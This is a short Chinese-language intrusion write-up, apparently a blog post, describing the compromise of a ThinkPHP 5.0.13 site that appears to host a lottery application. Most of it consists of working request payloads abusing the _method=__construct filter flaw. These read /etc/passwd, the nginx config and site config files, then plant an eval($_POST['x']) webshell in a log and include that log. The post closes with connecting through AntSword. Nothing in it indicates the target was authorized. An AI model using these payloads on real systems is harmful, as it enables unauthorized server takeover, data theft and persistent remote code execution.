还是老规矩,进来直接用exp将phpinfo打出来(tp的版本为5.0.13)
但是我们用常规的日志包含,却找不到我们的日志在哪里.后面才知道,我们get去请求也是无法请求到的,因为日志不在网站的绝对路径,只能通过post去fuzzing日志
此时用session去包含,不行,因为session过期过的很快,所以一直拿不下来,后面问了公司的表哥才知道,这种情况可以用session的文件竞争来绕过,将其拿下。
其他常规的exp,file_put_content wget这些,都是打不进去的,这个时候我们就可以看看常规的文件能不能读取
_method=__construct&method=get&filter[]=highlight_file&method=GET&get[]=/etc/pass
然后我想的就是用payload罗列出目录,查找我们的日志在哪儿,但是当我想要罗列的时候,我觉得应该是运维设置盘符设置的有问题吧,全tm是null,就只有一个一个fuzzing
根据其爆的phpinfo的信息,还有tp手册写的日志,我们成功fuzzing到一个比较重要的目录,就是日志的目录,此外,该站的话,没有登录是无法访问日志信息的
我们可以通过都这里,然后在配合其debug信息,成功找到日志的位置,对了,再给表哥们补充几个tp其他敏感位置的文件
_method=__construct&method=get&filter[]=think\_include_file&server[]=phpinfo&get[]=/etc/passwd
_method=__construct&method=get&filter[]=show_source&method=GET&get[]=/etc/nginx/nginx.conf
_method=__construct&filter[]=highlight_file&method=GET&get[]=/data/app/lottery/application/config/site.php
最后,我们通过Post传参成功的读取到了日志,但是我们get的话,确是非授权的。
先用exp报错,我们把一句话写进去,然后再用exp去看看我们写进去没有。
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
_method=__construct&method=get&filter[]=think\__include_file&get[]=/data/appdata/lottery/log/agentapi/202012/30.log&x=phpinfo();
成功包含,直接蚁剑链接拿下